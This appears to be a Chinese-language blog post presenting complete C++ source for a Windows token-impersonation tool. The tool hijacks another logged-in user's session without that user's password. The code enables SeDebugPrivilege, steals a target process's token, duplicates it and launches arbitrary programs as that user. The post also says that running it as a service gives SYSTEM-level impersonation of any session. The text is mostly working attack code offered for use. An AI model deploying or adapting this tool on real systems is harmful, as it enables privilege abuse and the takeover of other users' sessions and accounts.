使用场景:
一台机器上有两个用户登录会话,想要查看并操作另一个会话但是又没有办法抓到管理员密码
使用权限:
adminitrator 或者system权限
实验环境:
1 : windows 2008 r2 2 : administrator 账户session id = 2 3 : catcher账户session id = 1 4 : 在catcher账户模拟session 2 操作administrator(这里catcher权限太低需要提权)
实验效果:
1:查询会话id以及对应会话运行程序
2:在catcher账户中模拟administrator账户的seesion对adminstrator进行操作(这里catcher账户权限太低,所以做了个提权处理)
总结:
如果做成服务启动的话,administrator权限下就可以获得system权限token,可以对任意session进行模拟。
源码:
#include <iostream> #include <Cstring> #include <windows.h> #include <Wtsapi32.h> #include <iphlpapi.h> #include <WinBase.h> #include <Tchar.h> #include <Psapi.h> #pragma comment(lib, "Advapi32.lib") #pragma comment(lib, "Wtsapi32.lib") #pragma comment(lib,"Psapi.lib") using namespace std; bool GetSessionDomain(DWORD dwSessionId, char domain[256]) { LPTSTR pBuffer = NULL; DWORD dwBufferLen; BOOL bRet = WTSQuerySessionInformation( WTS_CURRENT_SERVER_HANDLE, dwSessionId, WTSDomainName, &pBuffer, &dwBufferLen); if ( !bRet ) { printf("WTSQuerySessionInformation Failed!/n"); return false; } lstrcpy(domain,pBuffer); WTSFreeMemory(pBuffer); return true; } bool GetSessionUserName(DWORD dwSessionId, char username[256]) { LPTSTR pBuffer = NULL; DWORD dwBufferLen; BOOL bRet = WTSQuerySessionInformation( WTS_CURRENT_SERVER_HANDLE, dwSessionId, WTSUserName, &pBuffer, &dwBufferLen); if ( !bRet ) { printf("GetSessionUserName Failed!/n"); return false; } lstrcpy(username ,pBuffer); WTSFreeMemory(pBuffer); return true; } /* 遍历所有session id 函数 */ int EnmumSessionId() { WTS_SESSION_INFO *sessionInfo = NULL; DWORD sessionInfoCount; char domain[256]; char username[256]; unsigned int userCount = 0; int num=0; BOOL bRet = WTSEnumerateSessions( WTS_CURRENT_SERVER_HANDLE, 0, 1, &sessionInfo, &sessionInfoCount); if ( !bRet ) { return false; } for (int i = 0; i < sessionInfoCount;++i) { if( (sessionInfo[i].State == WTSActive) || (sessionInfo[i].State == WTSDisconnected) ) { printf("session %d information:\n",num++); printf("\tsessionInfo.SessionId=%d\n",sessionInfo[i].SessionId); GetSessionDomain(sessionInfo[i].SessionId, domain); //获得Session Domain printf("\tSession Domain = %s\n",domain); GetSessionUserName(sessionInfo[i].SessionId,username); printf("\tSession username = %s\n",username); } } // 获取当前sessionid DWORD dwSession = WTSGetActiveConsoleSessionId(); printf("[*] Current Active SessionId = %d\n",dwSession); // 释放内存 WTSFreeMemory(sessionInfo); return 0; } /* 提升权限函数 */ BOOL EnableProcessPrivilege(LPCTSTR lpszPrivName, BOOL bEnable = TRUE) { HANDLE hToken; TOKEN_PRIVILEGES tkp; BOOL bRet = FALSE; bRet = OpenProcessToken( GetCurrentProcess(), TOKEN_ALL_ACCESS_P, &hToken); if (bRet == FALSE) { printf("OpenProcessToken error\r\n"); } bRet = LookupPrivilegeValue( NULL, lpszPrivName, &tkp.Privileges[0].Luid); //修改进程权限 tkp.PrivilegeCount = 1; tkp.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : SE_PRIVILEGE_REMOVED; bRet = AdjustTokenPrivileges( hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0); //通知系统修改进程权限 bRet = TRUE; CloseHandle(hToken); return bRet; } int main( int argc,char **argv ) { HANDLE hTokenDup = NULL; DWORD dwSessionId = 0; HANDLE hToken = NULL; HANDLE hNewToken = NULL; DWORD dwProcessId = atoi(argv[1]); /* 提升当前进程权限 */ if ( !EnableProcessPrivilege(SE_DEBUG_NAME, TRUE) ) //SE_DEBUG_NAME { printf("[*]:EnableProcessPrivilege failed\n"); return false; } /* 通过pid打开进程 */ HANDLE hProcess = OpenProcess( PROCESS_QUERY_INFORMATION , FALSE, dwProcessId); // 得到进程句柄 if ( NULL == hProcess ) { printf("[-]:OpenProcess GetLastError : %d\n",GetLastError()); CloseHandle(hProcess); } /* 获得进程令牌 */ BOOL bRet = OpenProcessToken( hProcess, TOKEN_ALL_ACCESS, &hToken); // 打开进程令牌 if ( FALSE == bRet ) { printf("[-]:OpenProcessToken GetLastError : %d\n",GetLastError()); CloseHandle(hToken); CloseHandle(hProcess); } /* 通过pid获取用户session id*/ DWORD dwLength = 0; DWORD tsi = 0; if (!GetTokenInformation( hToken, // handle to the access token TokenSessionId, // get information about the TokenSessionId &tsi, // pointer to TokenSessionId buffer 0, // size of buffer &dwLength // receives required buffer size )) { if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) { return false; } } if (!GetTokenInformation( hToken, // handle to the access token TokenSessionId, // get information about the TokenSessionId &tsi, // pointer to TokenSessionId buffer dwLength, // size of buffer &dwLength // receives required buffer size )) { return false; } printf("[*]:Patch sessionId = %d\n",tsi); printf("[*]:Patch processId = %d\n",dwProcessId); printf("[*]:Enable Process Privilege successful\n"); /* 复制一个进程令牌,目的是为了修改session id属性,以便在其它session中创建进程 */ BOOL bRes = DuplicateTokenEx( hToken, MAXIMUM_ALLOWED, NULL, SecurityIdentification, TokenPrimary, &hTokenDup); if ( !bRes ) { CloseHandle(hTokenDup); CloseHandle(hToken); } if (!ImpersonateLoggedOnUser(hTokenDup)) { printf("[-]:ImpersonateLoggedOnUser GetLastError: %d\n",GetLastError()); CloseHandle(hTokenDup); } /* 把session id设置到备份的令牌中 BOOL bsRet = SetTokenInformation( hTokenDup, TokenSessionId, &tsi, //&dwSessionId, sizeof(DWORD)); if ( !bsRet ) { printf("[-]:SetTokenInformation GetLastError: %d\n",GetLastError()); CloseHandle(hTokenDup); CloseHandle(hToken); } */ /* 创建进程*/ STARTUPINFO si = {0}; PROCESS_INFORMATION pi = {0}; char path[MAX_PATH]; lstrcpy(path,argv[2]); //参数2 ZeroMemory(&si, sizeof(STARTUPINFO)); ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); BOOL status = CreateProcessAsUser( hTokenDup, // client‘s access token NULL, // file to execute (char *)path, // command line NULL, // pointer to process SECURITY_ATTRIBUTES NULL, // pointer to thread SECURITY_ATTRIBUTES FALSE, // handles are not inheritable NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT , // creation flags NULL, // pointer to new environment block NULL, // name of current directory &si, // pointer to STARTUPINFO structure &pi // receives information about new process ); if ( !status ) { printf("[-]:CreateProcessAsUser GetLastError:%d\n",GetLastError()); RevertToSelf(); CloseHandle(hTokenDup); CloseHandle(hToken); WTSFreeMemory(&si); WTSFreeMemory(&pi); ExitProcess(0); } printf("[*]:CreateProcess successful\n"); RevertToSelf(); CloseHandle(hTokenDup); CloseHandle(hToken); WTSFreeMemory(&si); WTSFreeMemory(&pi); ExitProcess(0); return 0; }
时间: 2024-10-06 19:08:09